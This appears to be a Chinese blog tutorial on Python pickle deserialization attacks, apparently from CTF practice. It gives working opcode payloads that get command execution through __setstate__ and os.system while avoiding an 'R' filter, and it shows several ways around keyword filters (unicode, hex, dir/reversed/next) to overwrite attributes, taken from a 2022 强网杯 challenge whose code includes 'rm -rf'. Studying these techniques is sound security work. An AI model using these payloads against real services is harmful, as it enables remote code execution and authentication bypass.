        #获取该字典中键名为"__setstate__"的value
        setstate = getattr(inst, "__setstate__", None)
        #如果存在,则执行value(state)
        if setstate is not None:
            setstate(state)
            return
        slotstate = None
        if isinstance(state, tuple) and len(state) == 2:
            state, slotstate = state
        #如果"__setstate__"为空,则state与对象默认的__dict__合并,这一步其实就是将序列化前保存的持久化属性和对象属性字典合并
        if state:
            inst_dict = inst.__dict__
            intern = sys.intern
            for k, v in state.items():
                if type(k) is str:
                    inst_dict[intern(k)] = v
                else:
                    inst_dict[k] = v
        #如果__setstate__和__getstate__都没有设置,则加载默认__dict__
        if slotstate:
            for k, v in slotstate.items():
                setattr(inst, k, v)
    dispatch[BUILD[0]] = load_build

那么这有什么安全问题呢?如果我们将字典{"__setstate__":os.system},压入栈中,并执行b字节码,,由于此时并没有__setstate__,所以这里b字节码相当于执行了__dict__.update,向对象的属性字典中添加了一对新的键值对。如果我们继续向栈中压入命令command,再次执行b字节码时,由于已经有了__setstate__,所以会将栈中字节码b的前一个元素当作state,执行__setstate__(state),也就是os.system(command)

Payload如下

opcode=b'''(c__main__
Animal
S'Casual'
I18
o}(S"__setstate__"    #向栈中压入一个空字典,然后再通过u修改为{"__setstate__":os.system}
cos
system
ubS"whoami"
b.'''

执行结果如下,成功RCE

import pickle
import stao
import pickletools

class Animal:
    def __init__(self, name, category):
        self.name = name
        self.category = category

    def __eq__(self, other):
        return type(other) is Animal and self.name == other.name and self.category == other.category
def check(data):
    if b'R' in data:
        return 'no reduce!'
    x=pickle.loads(data)
    if(x!= Animal(stao.name,stao.age)):
        print('not equal')
        return
    print('well done! {} {}'.format(stao.name,stao.age))

opcode=b'''(c__main__
Animal
S'Casual'
I18
o}(S"__setstate__"
cos
system
ubS"whoami"
b.'''
check(opcode)
pickletools.dis(opcode)

###
xiaoh\34946
not equal
    0: (    MARK
    1: c        GLOBAL     '__main__ Animal'
   18: S        STRING     'Casual'
   28: I        INT        18
   32: o        OBJ        (MARK at 0)
   33: }    EMPTY_DICT
   34: (    MARK
   35: S        STRING     '__setstate__'
   51: c        GLOBAL     'os system'
   62: u        SETITEMS   (MARK at 34)
   63: b    BUILD
   64: S    STRING     'whoami'
   74: b    BUILD
   75: .    STOP
highest protocol among opcodes = 1

绕过关键字过滤

在某些情况下,假如我们想利用opcode进行变量覆盖从而进行身份伪造,但是代码中过滤了我们想要覆盖的属性关键字。比如[2022强网杯 crash],关键代码如下

class User:
    def __init__(self, username,password):
        self.username=username
        self.token=hash(password)


@app.route('/balancer', methods=['GET', 'POST'])
def flag():
    pickle_data=base64.b64decode(request.cookies.get("userdata"))
    if b'R' in pickle_data or b"secret" in pickle_data:
        return "You damm hacker!"
    os.system("rm -rf *py*")
    userdata=pickle.loads(pickle_data)
    if userdata.token!=hash(get_password(userdata.username)):
         return "Login First"
    if userdata.username=='admin':
        return "Welcome admin, here is your next challenge!"
    return "You're not admin!"

源码引入admin模块,其中存放了属性secret。现在题目过滤了属性名,现在如何进行绕过呢?下面给出三种思路

利用V指令进行Unicode绕过

V指令的用法如下,类似于指令S

正常我们可以构造变量覆盖如下来绕过比较

b'''capp
admin
(S'secret'
I1
db0(capp
User
S"admin"
I1
o.'''

过滤了secret之后可以构造如下

b'''capp
admin
(Vsecr\u0065t
I1
db0(capp
User
S"admin"
I1
o.'''

十六进制绕过

操作码S也能够识别十六进制字符串,可以构造如下

b'''capp
admin
(S'\x73ecret'
I1
db0(capp
User
S"admin"
I1
o.'''

利用内置函数获取关键字

对于已导入的模块,我们可以通过sys.modules['xxx']来获取该模块,然后通过内置函数dir()来列出模块中的所有属性

print(dir(sys.modules['admin']))

#['__builtins__', '__cached__', '__doc__', '__file__', '__loader__', '__name__', '__package__', '__spec__', 'secret']

可以看到模块中的属性是以列表的形式输出,且我们所需的字符串位于列表末尾。

由于pickle不支持列表索引、字典索引,所以我们不能直接获取所需的字符串。在Python中,我们可以通过reversed()函数来将列表逆序,并返回一个迭代对象

然后我们可以通过next()函数来获取迭代对象的下一个元素,默认从第一个元素开始。最终可以构造如下

print(next(reversed(dir(sys.modules['admin']))))

#secret

opcode构造如下

opcode=b'''(((((c__main__
admin
i__builtin__
dir
i__builtin__
reversed
i__builtin__
next
.'''
print(pickle.loads(opcode))

#secret

获取到了secret字符串,下面就容易构造变量覆盖了

opcode = b'''c__main__
admin
(((((c__main__
admin
i__builtin__
dir
i__builtin__
reversed
i__builtin__
next
I1
db(S'admin'
I1
i__main__
User
.'''
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇